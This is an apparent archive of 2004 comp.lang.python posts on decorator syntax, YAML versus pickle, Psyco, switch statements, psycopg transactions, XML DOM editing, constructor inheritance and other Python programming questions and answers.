to show me the subtle differences. I'm not aware of any (that matter). > >>Compare this class statement with the function def >>above. >> >> class Oval(Circle): >> """This describe's Oval.""" >> __author__ = 'Paul Morrow' >> __version__ = '0.1' >> __metaclass__ = M > > > Yes, I can compare that. It's fine in a class body, which is executed > when the class definition is executed. When I see it in a function > definition, I see a strange use of the assignment operator, which is > normally a 'run-time' operator, in a place where it not being executed > at run-time. > It's also a 'definition-time' operator, as it often appears in class and module definitions. So why not be consistent and let it appear in function definitions too? What is so outrageous about this idea? On the 'strange-meter', does it rank as high as docstrings or meaningful indentation? > You keep displaying such examples as if they should make your point > self-evident. Already several people have pointed out that they don't > see it at self-evident. That might give you a clue that it isn't > self-evident. > Again, I have no idea if I'm alone on this. A few have suggested that they somewhat agree, but there's not been much support beyond that. > >>>It's true that it makes it look more like what __*__ attribute >>>assignment in class bodies does, but the simple fact is that class >>>bodies are executed when the class statement is executed, and function >>>bodies are not executed when the def statement is executed. Now you >>>want part of the function bodies to be executed at def time, and part at >>>call time. >> >>Maybe we just need to be clear as to which lines under the def statement >>constitute the function's /body/. > > > That's perfectly clear without your change. Your change is confusing > the issue, by also using an operator which one (well, at least many of > us - not you, obviously) expects to be executed in the function body. > We change the definition of where the function body starts, to exclude any __xxx__ assignments immediately following the docstring. Then the '=' operator has definition-time semantics, not run-time. > >>The function's docstring gets >>assigned during processing of the def statement, therefore the docstring >>is apparently not part of the function body; > > > The function's doc string doesn't look like a statement, and even if it > one thinks it is one (which documentation handling somehow picks out > specially) it would be a no-op inside the function, so there is nothing > confusing about it. > > BTW, I was all for having the function body extend further down - my > first decorator choice (before J2) would have been the > def foo(...): > ...decorators and doc string... > some_keyword: > ...body... > > syntax. Like you point out about __*__ assigments it stands out, but > it's even clearer, but it doesn't look like it would normally > dosomething else, so the uninitiated will have far less reason to wonder > what kind of voodoo is going on to make it do what it does. > All of the suggestions I've seen like that one have the section keyword at the same level of indentation as the def keyword, which is wrong (IMO). There is no precedent for that in Python. We are defining something; every statement related to that definition should be indented farther to the right than the def statement (IMO). But this is all moot I guess. Guido has apparently already made up his mind on the decorator syntax. So I guess I'm done with this subject [*]. Thanks for your feedback. Paul [*] for now :-) From drysdam at ll.mit.edu Tue Sep 14 13:40:55 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Tue, 14 Sep 2004 13:40:55 -0400 Subject: funcs vs vars in global namespace In-Reply-To: <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > David Rysdam wrote: > ... > >>>sub_module = __import__(which_one_this_time) >>>vars(sub_module).update(which_dict_this_time) >>>print sub_module.the_function(23) > > ... > >>Oh wow, of course! I can set properties on the modules themselves. I'm >>going to have to rethink what I'm doing and mess with that a bit, I'm >>sure I'll have questions and problems later. Thanks! > > > You're welcome! Yes, since your modules are not being used for other > purposes except running the scriptlets you're controlling, changing > those modules' global variables should be safe enough in your case. > > > Alex OK, dumb question #1: Why do this: sub_module = __import__(which_module_this_time) vars(sub_module).update(which_dict_this_time) When I could just do this: __import__(which_module_this_time, which_dict_this_time) ? From chrisks at NOSPAM.udel.edu Sun Sep 19 05:11:45 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 09:11:45 GMT Subject: PyYaml? In-Reply-To: <87r7oyfy78.fsf@blakie.riol> References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: Wilk wrote: > "Chris S." writes: > > >>Is there any benefit to Pickle over YAML? Given that Pickle is >>insecure, wouldn't it make more sense to support a secure >>serialization format, one that's even readable to boot, such as YAML? >>There's even a pure Python implementation at www.pyyaml.org > > > There is others advantages using yaml instead of pickle anyway > (portability, readability...) > Syck is even faster than pickle i think. > http://whytheluckystiff.net/syck/ I agree completely, although I've been surprised by the general lack of interest around here. You'd think a more secure, portable, and readable serialization format would be welcomed with open arms, yet most of the comments I've read past and present have been almost hostile. > But all theses projects seems to sleep... Can you blame them from the lack of interest? No good idea goes unpunished... Ironically, YAML borrows key ideas from several languages, including Python. From carribeiro at gmail.com Mon Sep 20 16:25:27 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 17:25:27 -0300 Subject: Economic considerations In-Reply-To: References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: <864d37090409201325c4ec7c7@mail.gmail.com> On Sun, 19 Sep 2004 21:43:56 -0300, Jorge Godoy wrote: > To be honest, I have no idea what are these things for. I just know > that there's something with regards to CMYK here, but I haven't seen > Pantone. (OK, I know that these are color representation "tables", but > I don't know when to use one or the other or when to use RGB... An > architect friend of mine explained that but she was talking about other > things too and I didn't pay much attention to that...) Pantone is a table of standard spot colors. It's used in professional printing because they can guarantee you that the color that you'll see in the final print is *exactly* the same that you see in your own printed color reference card. Try that in the GIMP, or in any other OS design package. In general, conversion between different color models is *tricky*, and you would be surprised at how precise our eyes are with regards to small differences. (I just read about Scribus, though, and about the color management system that they're using there - littlecms - this is now being integrated into GIMP. Don't know the results, but it's the right step). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From gerrit at nl.linux.org Mon Sep 13 15:41:07 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 13 Sep 2004 21:41:07 +0200 Subject: Find first in sequence (simple question) In-Reply-To: References: Message-ID: <20040913194107.GA25880@nl.linux.org> Neal D. Becker wrote: > What is an efficient way to find the first element in a sequence meeting > some condition? > > For example, the first number > x in a list of numbers. You could do: # WARNING: Untested code index = -1 for i in x: if i > n: index = i break This would work, and unless you can make assumption about the list, I doubt it can be faster. If you can assume that for example the list is sorted, it should be possible to do it faster, although I would not know exactly how. yours, Gerrit. -- Weather in Twenthe, Netherlands 13/09 20:55: 14.0?C wind 5.4 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From janimal at mail.trillegaarden.dk Mon Sep 20 09:25:02 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Mon, 20 Sep 2004 15:25:02 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> Oh I just did it. Just used the line: print "%d lines in your choosen file" % len(open("test.txt").readlines()) Thanks though :) "Ling Lee" wrote in message news:414ed896$0$26378$ba624c82 at nntp02.dk.telia.net... > Hi all. > > I'm trying to write a program that: > 1) Ask me what file I want to count number of lines in, and then counts > the lines and writes the answear out. > > 2) I made the first part like this: > > in_file = raw_input("What is the name of the file you want to open: ") > in_file = open("test.txt","r") > text = in_file.read() > > 3) I think that I have to use a for loop ( something like: for line in > text: count +=1) > Or maybee I have to do create a def: something like: ( def loop(line, > count)), but not sure how to do this properly. > And then perhaps use the readlines() function, but again not quite sure > how to do this. So do one of you have a good idea. > > Thanks for all help > > > From onurb at xiludom.gro Fri Sep 24 15:03:09 2004 From: onurb at xiludom.gro (bruno modulix) Date: Fri, 24 Sep 2004 21:03:09 +0200 Subject: NEW MAINTAINER for Pymacs [corrected] In-Reply-To: References: <20040917002304.GA14120@alcyon.progiciels-bpi.ca> Message-ID: <41547113$0$8885$626a14ce@news.free.fr> Fran?ois Pinard a ?crit : > [The contents of this announcement is identical to the one I sent a few > days ago, except for Syver's email address. Please disregard the > initial announcement. I'm sorry for the information duplication.] > > Hello to everybody, and Emacs users in the Python community. > > The Pymacs project (described below) now has new maintainer: (snip) > See `http://pymacs.progiciels-bpi.ca' for more documentation, including > the manual in HTML form. I got this : 8<------------------------------------------------------------------------ /home/pinard/vim/pymacs/web/index.html:31: Inclure ../gabarit.html Ne peut lire le fichier `None'. Variables en traitement caption_color 'yellow' home_base 'http://pinard.progiciels-bpi.ca' html_base 'http://pymacs.progiciels-bpi.ca' htmldir '/home/pinard/vim/pymacs/web' long_package_name 'Pymacs framework' margin_color 'pink' package_name 'Pymacs' texte '\n\n\n\n\n\nREADME file for Pymacs\n\n (snip) top_directory '/home/pinard/vim/pymacs' via_traiter 'True' Variables de l'environnement PATH '/bin:/usr/bin:/usr/local/bin' Bruno From bgabriel at cloudthunder.com Wed Sep 29 11:37:08 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 11:37:08 -0400 Subject: Social Analysis and Modeling for Python Message-ID: <415AD6A4.7000400@cloudthunder.com> I encourage feedback from all parties and especially those which would like to be directly involved (I may include you in the grant proposal and budget). Send me your comments! -------> Project Objective We seek to introduce the advantages of object-oriented programming to the realm of social sciences. We believe the fields thereof (economics, history, sociology, political science, etc.), have much to gain from OOP?s ability to represent social constructs. Particularly, we have found Python to be well suited to the rapid formulation of social models due to its syntactic simplicity, outstanding support for object-oriented programming, and comprehensive libraries. Unfortunately, most academics in the aforementioned fields are unaware of the capabilities, let alone applicability, of programmatic representation. Those who do are typically put off by the inadequacy and complexity of more traditional languages such as C and C++. We therefore propose to disseminate an understanding among these fields of the ability to develop social models and represent social constructs via the rapid modeling capabilities of the Python language. We seek to demonstrate how Python presents to them limited costs in production time via its language features, and to show how social models can be mentally approached in such a way that there exists a one-to-one correlation between their theoretical model and the Python equivalent. See the rest of the proposal at: http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf From peter at engcorp.com Thu Sep 23 20:50:14 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 20:50:14 -0400 Subject: good way to do side effects on lists? In-Reply-To: References: <415208a1$1_4@news3.es.net> <85bc2819.0409230702.2a5c4ab5@posting.google.com> <4153315a$0$17453$636a15ce@news.free.fr> <44qdnTS-mqa0wM7cRVn-rg@giganews.com> Message-ID: Eli Stevens (WG.c) wrote: > Judging from this post: > > http://groups.google.com/groups?hl=en&lr=lang_en&ie=UTF-8&selm=2259b0e2.0308240638.38350cba%40posting.google.com > > It seems like Psyco can detect simple "hey, let's see how fast this can > go with Psyco" tests, and can give skewed results. I wouldn't expect a > 50x improvement in the general case (though if you have to do simplistic > things over and over, Psyco is the way to go ;). > > I'm not trying to bash Psyco - two lines netting a 2x speed boost is > great, but it's good to avoid setting expectations too high. :) That's a good point. I was actually disappointed with Psyco when I tried it because hyped reports based, I suspect, on trivial cases had given me high expectations. I believe I achieved about a 12% speedup... -Peter From aleaxit at yahoo.com Sat Sep 11 03:53:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 09:53:35 +0200 Subject: A bug with file.tell()? References: <9418be08.0409102042.62f3ed3d@posting.google.com> Message-ID: <1gjy0os.1mgeyqf1322b6eN%aleaxit@yahoo.com> Elbert Lev wrote: > By the way, because for s if f: reads the whoole file in memory such Nope! It buffers a few KB at a time. > construct is not recommended for reading large files (but is very > convenient). It's perfectly suitable for reading files as huge as you wish. Alex From avera at coes.org.pe Wed Sep 22 12:53:58 2004 From: avera at coes.org.pe (Alberto Vera) Date: Wed, 22 Sep 2004 11:53:58 -0500 Subject: Use py library from Win app Message-ID: <001101c4a0c4$c164f630$1603a8c0@pc22> Hi: How Can I call a python module/application/library from a win32 application? Is it possible use threads(in py) when a win32 application call a python module? Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From luismg at gmx.net Mon Sep 20 23:55:49 2004 From: luismg at gmx.net (Neuruss) Date: 20 Sep 2004 20:55:49 -0700 Subject: Python as alternative to Visual Basic References: Message-ID: <278de0e.0409201955.1c0a3d25@posting.google.com> I suggest PythonCard. It's by far the easiest tool for creating cross-platform GUI apps based on wxPython in a visual way (dragging and dropping widgets into a form). The downside is that some widgets are not yet implemented, but you can use the most important ones. Another good thing is that it creates authomatically two files: one for the presentation (form, buttons, etc) and another for the code, which makes it very simple and clean. From aleaxit at yahoo.com Tue Sep 7 13:41:58 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 19:41:58 +0200 Subject: Python Interpreter question. References: Message-ID: <1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com> Anon wrote: ... > Is all of that true? is it right to say in fact that python doesn't have an > interpreter, but rather it has a compiler and VM for running the python > code? Python is indeed based on a compiler to bytecode plus a VM, like Java. However, Python goes the extra step to make an interpreter out of the combination of the two -- after all, compiling source to bytecode and then handing the bytecode over to the VM _is_ easy. So, any time you're using exec, eval, or execfile on source strings or files, in practice, to all intents and purposes, you ARE using an interpreter, even if it's put together with smoke and mirrors, oops, I mean compilers and VM's. Similarly for anything you type at the interactive >>> prompt -- the fact that whatever source you type gets compiled into bytecode first, and then that bytecode is handed over to the VM for execution, is no problem to you... in practice you DO have an interpreter, even though "deep down" it's just a compiler + a VM!-) Alex From crypt_keeper at rome.com Tue Sep 7 15:36:14 2004 From: crypt_keeper at rome.com (Crypt Keeper) Date: 7 Sep 2004 12:36:14 -0700 Subject: writing a class Message-ID: <29179565.0409071136.4147591f@posting.google.com> I am trying to write a program that asks user for several input items, then takes those items into a class that will manipulate the data and then return a line of output. I am able to input the reuired information, but it's the in-class processing and output line that keeps messing up somehow. I have tried tinkering and tweaking but with no success. How can I take data from the user, manipulate it through a class of steps and then output it all into a line of output? Thanks!! From aleaxit at yahoo.com Wed Sep 29 13:16:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 19:16:35 +0200 Subject: all pairs of items in a list without indexing? References: <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com> Message-ID: <1gkw26x.3nw2991fi3o91N%aleaxit@yahoo.com> Steven Bethard wrote: ... > So slicing a list and iterating over the slice is faster than iterating over > the indices and indexing the items... Is this generally true? Is it > something I can depend on across implementations? Unfortunately, nothing can forbid a new implementation, or even a new release of an existing implementation, acquiring some special new optimization that makes a technique that used to be slower suddenly faster. And if it _was_ possible to forbid optimizations, you wouldn't really want to, anyway -- a potential optimization of some _other_ technique wouldn't damage the solution you've chosen, anyway, except in terms of "relative standing" vs the now-optimized alternative. Since using the slice is simpler, and at least for now it's also faster (so it won't become _too_ slow anyway), that's what I would suggest. As a precaution you might want to use a 'virtual slice' through a function such as: def vslice_from(alist, start): ''' returns some iterable x such that "for i in x:" is exactly equivalent to "for i in alist[start:]:". ''' return alist[start:] so that you can experiment with alternatives without having to modify most of your code, just through alterations to vslice_from. E.g. import itertools def vslice_from(alist, start, islice=itertools.islice): return islice(alist, start, len(alist)) or def vslice_from(alist, start): for i in xrange(start, len(alist)): yield alist[i] or even customized pyrex or C implementations if your quest for the ultimate performance needs them... Alex From irmen at -nospam-remove-this-xs4all.nl Mon Sep 6 13:42:04 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Mon, 06 Sep 2004 19:42:04 +0200 Subject: has anyone done a blog or forum engine in python? In-Reply-To: References: Message-ID: <413ca16b$0$37789$e4fe514c@news.xs4all.nl> googleboy wrote: > Hiya. > > I am looking at implementing a blog and a forum for a personal > website. I am also beginning to look at growing my programming skills > from newbie/mediocre to intermedaitely servicable and want to continue > doing this focussing on python. As a matter of fact, I'm building a blog (incl. comments) server in Python right now. I don't have anything complete yet, but it steadily grows to something useful. I think. ;-) I'm building it on top of my own web app server, Snakelets, also written in Python (http://snakelets.sourceforge.net). > It would be cool to find projects in python with code I can refer to. Sorry, no blog server code available yet, but you could have a look at Snakelets if you're interested. Bye Irmen de JOng. From claird at lairds.us Fri Sep 10 11:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Fri, 10 Sep 2004 15:08:04 GMT Subject: Is there no switch function in Python References: <1Zb*VOguq@news.chiark.greenend.org.uk> Message-ID: In article , Roy Smith wrote: . . . >That being said, there are times when I miss switch. For some kinds of >multi-branch logic, I think it expresses the meaning better than a >string of if's. But it's hardly necessary. > >The real reason, IMHO, switch existed in C was because it would let the >compiler build very efficient jump tables for switches with many cases. >Imagine switching on the ascii value of a character and having a 128 >different cases. The compiler could build a 128 entry jump table and >the switch statement would compile down to a single machine instruction. I probably miss switches as much as any Python coder. Having appropriately introduced the concept of "jump table", though, it's only right that we mention how often Python uses dictionaries in just such ways. From ialbert at mailblocks.com Mon Sep 27 10:03:12 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 27 Sep 2004 10:03:12 -0400 Subject: Psycopg; How to detect row locking? In-Reply-To: <415811D2.7070408@magproductions.nl> References: <415811D2.7070408@magproductions.nl> Message-ID: Alban Hertroys wrote: > I'm also not sure whether I'm actually looking at the same transaction. > Is there a way to verify such? Are you using the same connection across threads or the same cursor? Transactions happen per cursor. They get committed when you call the commit() on the cursor (and you probably should not share the cursor across threads). > I suppose there must be a short while where the row is locked during the > insert, where I may already be trying to select it. If this is indeed > the case, I would expect to receive a "row is locked" type of error. It makes no sense to return a "row is locked" type of error. A database is supposed to take care of business. It will either return the new view or the old view of the data depending on whether the new data has been committed or not. Assuring the data was committed in time (before selecting it) is your responsibility. Not so along ago there was a similar post. In both, the posters were using a mulithreaded database system, postgresql within a mulithreaded program yet at the same time desperately trying to fully control the database threads from the program threads, both hoping that transactions will save the day. But that is not what transactions are about. Transactions are simply a way to ensure that a series of database instructions (within a thread) either all execute or none of them do. One can always try to coerce them to do something fancier or more different but then quality of the solution shows this. Istvan. From me at privacy.net Sat Sep 25 16:03:16 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 13:03:16 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> <%wf5d.32000$Z14.10664@news.indigo.ie> Message-ID: Alan Kennedy wrote: > [Richard Hanson] > > It is > > possible that in the higher-dimensioned theories, quantum mechanics > > will turn out to be deterministic. > > That's an attention-grabbing statement! ;-) > [Richard Hanson] > > Or, at least that's what I'm quite > > foggily gathering from hanging out on sci.physics.research and other > > suchlike readings. :-) > > I'd be most grateful for some links to further reading, ideally giving > an overview/summary, if you know of such. > > thanks, I shall attempt to find just such summaries. However, as I am now down to relying solely on the "wetware" between my ears for my personal archives :-) (had a recent series of harddrive crashes), I will now attempt to (re)locate off the net some of the material which points to the possibility suggested above. I'll see if any suitable overviews are available and will let you know. And -- you're quite welcome. I may need a bit of time, however, for a variety of reasons. :-) just-re-DL'ed-all-of-sci.physics.research-from-my-newsserver'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From zanesdad at bellsouth.net Tue Sep 28 13:13:59 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Tue, 28 Sep 2004 13:13:59 -0400 Subject: annoying behavior In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: <41599BD7.7040809@bellsouth.net> Elbert Lev wrote: ># here is the problem I ran into: > >class foo: > def __init__(self, host): > self.f() > self.r = True > > def f(self): > if self.r: > # > pass > else: > # > pass > >f = foo("1234") > >#here is the output: > >#Traceback (most recent call last): ># File "G:\MyProjects\Python\Little\inconv.py", line 16, in ? ># f = foo("1234") ># File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__ ># self.f() ># File "G:\MyProjects\Python\Little\inconv.py", line 9, in f ># if self.r: >#AttributeError: foo instance has no attribute 'r' > ># I understand why does this happen, but, to tell the truth, ># this feature is very annoying. ># Are there any plans to relax this restriction? ># In 3.0 :)? > > Relax what restriction? Why should this behave any differently than it is? I would kind of equate the above code to: >>> f = {} >>> f['a'] Traceback (most recent call last): File "", line 1, in ? KeyError: 'a' >>> f['a'] = 1 How should Python know that I'm going to assign f['a'] to anything before it gets assigned? That's like expecting this: >>> f = {} >>> f['a'] >>> #I'm planning on setting f['a'] to something in a little bit - maybe the Python interpreter can figure out what I'm going to do.... 1 >>> f['a'] = 1 to produce the results that I just typed in. You're calling method f() before you are setting attribute r to anything, so when you call f(), attribute r isn't set, so you get an exception. What restriction do you want to relax? Do you want the Python interpreter to read ahead and figure out if you were intending to set a variable and then use some variable that you were planning on setting in the future? If so, what if you set it and then set it again? Which one should it choose? Jeremy From steven.bethard at gmail.com Mon Sep 13 02:50:04 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 13 Sep 2004 06:50:04 +0000 (UTC) Subject: generator expressions and new ternary operator References: <3b59a80.0409122202.77061a66@posting.google.com> Message-ID: zipher gmail.com> writes: > > Mightn't this new latter syntax be the ticket to a "one obvious way" > to write a ternary expression in python? > > >>> (foo(i) if i==42 else bar(i)) # i==42 ? foo(i) : bar(i) > I really shouldn't respond to this because the debate over a ternary operator already went on *way* too long... But this proposal completely confuses me... Why would we want something that isn't a generator expression to look anything like one? Steve From dperl at rogers.com Wed Sep 1 10:54:06 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 14:54:06 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Message-ID: "Alex Martelli" wrote in message news:1gjfkp7.aepmjg11ubf2rN%aleaxit at yahoo.com... > ... > > though that I do not accept "explicit is better than implicit" as an > > absolute truth. [That's like when someone told me once with pride: "I > > always design bottom-up."] Applying a principle like that CONSISTENTLY in > > the design of a language can make a very good language. On the other hand, > > I can imagine there can be very good languages, with their own uses and > > advantages, if the reverse principle were consistently used. > > Perhaps, but from my experience with languages which consistently try to > double-guess programmer intent and "do what's right" implicitly based on > context, it doesn't work -- I'm thinking of PL/I, C++, Perl. They're > all big languages, so perfect consistency is impossible, of course. But > even small languages grow, if they're successful. Do you have specific > examples in mind of very good languages based on "implicit is better > than explicit"? No, I do not have an example, but I still stand by my comment. Maybe it's just impossible to use the principle "implicit is better than explicit" consistently because you need at least something explicit. > > You may see in another message I posted in this thread that I ended up > > giving an answer to my own question (the 'WHY' question). Here is my reason > > for that 'WHY'. Python does not have method overloading (and I am ok with > > that, because it comes with the dynamic typing), so you cannot have a > > default constructor and a non-default one at the same time. C++ and Java > > Not with the same name. You can have all alternative constructors you > want if you give them different names -- that's a popular use of > classmethod (in Python as well as in Smalltalk, though there are > differences between the two, of course). Alternative names are more > powerful than any overloading based on type could possibly be. > Consider: We may have a disagreement in terminology, but I was using "overloading" in the C++/Java sense, which means strictly samename, different signatures. > > have overloading and then can also mandate a default constructor for a > > parent class, even if it's empty because you actually use only a non-default > > constructor for that class. Python cannot request that you also implement a > > default __init__ when you need a non-default one. There would be the > > possibility of adding another special method, but there's already __init__ > > and __new__, so that would be too confusing. > > Java and C++ _could_ mandate a default ctor, but they don't -- it would > be a very bad design decision for them to do so, and their designers > aren't THAT bad:-). It's perfectly possible to have a class that just > CANNOT be constructed without some specific arguments. Try this C++ code: #include class Class1 { public: Class1(int arg ) { std::cout << "Class1 Constructor" << std::endl; } }; class Class2 : public Class1 { public: Class2(int arg) { std::cout << "Class2 Constructor" << std::endl; } }; int main(int argc, char **argv) { Class2 c2 = Class2(9); } The compiler (I tried gcc) will give an error that the Class1::CLass1( ) constructor is missing. Without the non-default Class1 constructor, the compiler would have created a default constructor, IMPLICITLY. Note that even C++ chooses not to create the implicit, default, constructor anymore if you have a non-default constructor. You have to do it explicitly, even if it's an empty one. Anyway, in C++, if I write a library with a class like Class1, I can create a default constructor to initialize all the members with default values if there is no need for non-default values. C++ gives me that possibility. A user of my library (who will never know me) can use this library and does not need to know anything about the Class1 constructor. This is consistent with the principle of encapsulation, so subclasses don't need to know anything about how the superclass is implemented. Not in Python. A user of my library has to invoke the parent's class __init__ in their own __init__. What happens if, in a future release, I get rid of the __init__ in the parent class? Or the other way around. An early release does not have a parent __init__, the users don't invoke it because they can't, and then, in a future release, I add the parent __init__ because I added some attributes. It breaks all the users' code. This is poor encapsulation. I think this IS a case where "implicit is better than explicit". Dan From roo at try-removing-this.darkboong.demon.co.uk Fri Sep 3 04:19:02 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Fri, 03 Sep 2004 09:19:02 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <1094141001.125507@teapot.planet.gong> Message-ID: <1094199540.968446@teapot.planet.gong> Patrick Scheible wrote: [SNIP] > Yes. NeXTStep didn't have a microkernel. The Mach kernel didn't get > changed to a microkernel design until after NeXTStep split off from > it. Hmmm, you had better tell these folks they are wrong for starters : http://www.macos.utah.edu/Documentation/MacOSXClasses/macosxone/unix.html Do a google for NextStep and Microkernel, it appears to be a very common understanding/myth... Cheers, Rupert From dietz at dls.net Sat Sep 4 09:40:16 2004 From: dietz at dls.net (Paul F. Dietz) Date: Sat, 04 Sep 2004 08:40:16 -0500 Subject: Xah Lee's Unixism In-Reply-To: <41376B82.C6A202FC@yahoo.com> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> Message-ID: <2L2dnfkB4NTaWKTcRVn-ow@dls.net> CBFalconer wrote: > I know nothing about those stories, but it seems reasonable to me > that the boosters would have been designed to be transportable by > railroad, which ties their dimensions to track gauge. That's the nature of urban legends -- they seem reasonable. Paul From ndbecker2 at verizon.net Mon Sep 13 16:03:36 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Mon, 13 Sep 2004 16:03:36 -0400 Subject: Find first in sequence (simple question) References: Message-ID: Neal D. Becker wrote: > What is an efficient way to find the first element in a sequence meeting > some condition? > > For example, the first number > x in a list of numbers. > > I guess if the sequence is sorted, you could use bisect, but only for the specific case of comparing the values. I really was looking for a more general "find_first" function, that would find the first occurance in a sequence meeting some predicate, with short-circuit evaluation (not evaluating the function for every element first). From in.aqua.scribis at nl.invalid Wed Sep 1 16:43:06 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Wed, 1 Sep 2004 22:43:06 +0200 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: Jeremy Bowers schreef: > Basically, all the *really* cute Py* names are taken. I'd recommend doing > something that cleanly separates you from Python, and then just note the > descendance. The farther you are getting from an implementation of Python, > the more true this becomes. I think you will actually come to regret the > association if you make it too strong, as people will get ideas about your > language from the association, then be upset about the language when it > doesn't meet their expectations. Better to start fresh. So, no PythonScript then? There are quit a lot of people who think JavaScript and Java are the same thing, if not at least remotely related. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From john_taylor_1973 at yahoo.com Wed Sep 15 07:51:03 2004 From: john_taylor_1973 at yahoo.com (John Taylor) Date: 15 Sep 2004 04:51:03 -0700 Subject: XML Dom question References: Message-ID: Brett, This works great. Thanks for responding! -John "Humphreys, Brett" wrote in message news:... > John, you actually would add a text node to your 'myNode' object. For > example: > > w = walker.currentNode > if "menu File Exit" == name and 0 == needs value and 0 == > test: > myNode = doc.createElement("shortcut key") > myNode.setAttribute("modifier","SHIFT") > myTextNode = doc.createTextNOde("F4") > myNode.appendChild(myTextNode) > w.appendChild( myNode ) > test = 1 > > It should create output such as: > > > > On File Exit > F4 > > > -Brett > > -----Original Message----- > From: python-list-bounces+bretth=aiinet.com at python.org > [mailto:python-list-bounces+bretth=aiinet.com at python.org] On Behalf Of > John Taylor > Sent: Tuesday, September 14, 2004 10:06 AM > To: python-list at python.org > Subject: XML Dom question > > > I am trying to insert a new element and value into a XML Dom structure > and am having some trouble. > > When I read the file in from disk, I have this: > > > > On File Exit > > > When I run this code: > > w = walker.currentNode > if "menu File Exit" == name and 0 == needs value and 0 == > test: > myNode = doc.createElement("shortcut key") > myNode.setAttribute("modifier","SHIFT") > w.appendChild( myNode ) > test = 1 > > I get this result: > > > > On File Exit > > > > This is what I really want: > F4 > > Can some one post code on how to do this? I tried creating a new Node > (called newNode) and setting the nodeType and NodeValue and the use the > appendChild() method, but I keep getting this error: > > code: > myNode.appendChild(newNode) > > error: > AttributeError: Node instance has no attribute 'childNodes' > > Any help would be greatly appreciated! > > Thanks, > -John From oliphant at enthought.com Mon Sep 13 13:10:37 2004 From: oliphant at enthought.com (Travis Oliphant) Date: Mon, 13 Sep 2004 11:10:37 -0600 Subject: Conference presentations Message-ID: <4145D48D.1000106@enthought.com> Hi all, The SciPy 2004 conference was a great success. I personally enjoyed seeing all attendees and finding out about the activity that has been occurring with Python and Science. As promised, all of the presentations that were submitted to abstracts at scipy.org are now available on-line under the conference-schedule page. The link is 